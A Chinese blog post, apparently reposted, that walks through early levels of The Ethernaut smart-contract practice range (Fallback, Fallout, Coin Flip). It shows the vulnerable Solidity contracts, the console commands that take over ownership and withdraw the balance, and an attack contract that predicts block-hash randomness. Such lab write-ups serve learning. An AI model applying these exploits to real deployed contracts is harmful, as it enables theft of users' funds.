前言
看了一下ctfwiki上的,前面的知識點看起來還算不那么費勁,但是突然就是學個幾天就開始上手比賽題屬實太難了,,,所以先從簡單的區塊鏈靶場刷起,循序漸進,慢慢學習區塊鏈的相關知識,
靶場鏈接:
The Ethernaut
Hello Ethernaut
算是新手教程了,具體的前面的一些搭建,還有獲取Rinkeby環境下的ETH的方式就不說了,靶場上也都說的比較清楚了,用help()可以得到一些常用的幫助,因為異步的問題,我們需要在函式前面加上await,
contract可以查看合約物件:

contract.abi可以查看合約的function:

await contract.info()可以Look into the levels’s info method,
然后這一關就一步一步來就可以了,其實看了abi也就知道有哪些方法了:

然后點submit即可,
Fallback
看一下代碼:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether); //發送少于0.001 ether
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) { //基本不可能
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender]; //回傳當前的contributions
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
fallback() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
題目要求:
- you claim ownership of the contract
- you reduce its balance to 0
想成為owner這里可以做到:
fallback() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
但是需要contributions[msg.sender] > 0,還需要先在這里給一次錢:
function contribute() public payable {
require(msg.value < 0.001 ether); //發送少于0.001 ether
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) { //基本不可能
owner = msg.sender;
}
}
但是怎么就是呼叫函式的時候給錢我就不會看,看了一下師傅們是這樣:
await contract.contribute({value: 1})
await contract.sendTransaction({value: 1})
// 上兩步成為了 owner,下一步把合約的錢轉走
await contract.withdraw()
呼叫函式給錢是{value:1},直接給合約錢是sendTransaction,
Fallout
相比前一題更簡單了,要求:
Claim ownership of the contract below to complete this level.
因此直接用這個建構式(其實并不是,注意合約叫Fallout,但是這個函式叫Fal1out)就可以了:
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
await contract.Fal1out()
就算改名也不行,因為這題是在0.6.0,已經不支持和合約同名的建構式了,
Coin Flip
原始碼:
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
要連續猜中10次,是亂數的問題了,隱約還記得區塊鏈的亂數問題很大,查了一下,確實是區塊鏈亂數的問題,
因為這里:uint256 blockValue = uint256(blockhash(block.number.sub(1)));,這個值是我們可以在本地算出來的,再加上FACTOR也是知道的,因此就可以直接攻擊,

還可以再學習一下區塊鏈的一些知識,雖然只是稍微的了解:
區塊鏈入門教程
一開始迷的地方就是為什么自己的合約中的block.number和題目里的是一樣的,因為都是在一個區塊中,然后計算上一個區塊的哈希值,因此這個是可預測的,
寫個攻擊POC:
pragma solidity ^0.6.0;
interface CoinFlip {
function flip(bool _guess) external returns (bool) ;
}
contract Attack {
CoinFlip constant private target = CoinFlip(0x41b21013f1470Fcd1e08988ef87ed88aD38037a1);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function feng() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
只要能成功的發送10次feng()函式就可以了,因為在本地進行了預測,
但是其中可能會有失敗的,主要還是因為:
if (lastHash == blockValue) {
revert();
}
即一個區塊只能成功一次,而:

因此并不是那種10分鐘才能弄一次,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/275521.html
標籤:區塊鏈
上一篇:簡單記錄Go語言的輸入與輸出
下一篇:創建vue3.0專案遇到的坑error: Resolve error: Cannot find module ‘ vue - loader-v16/ package . json ‘
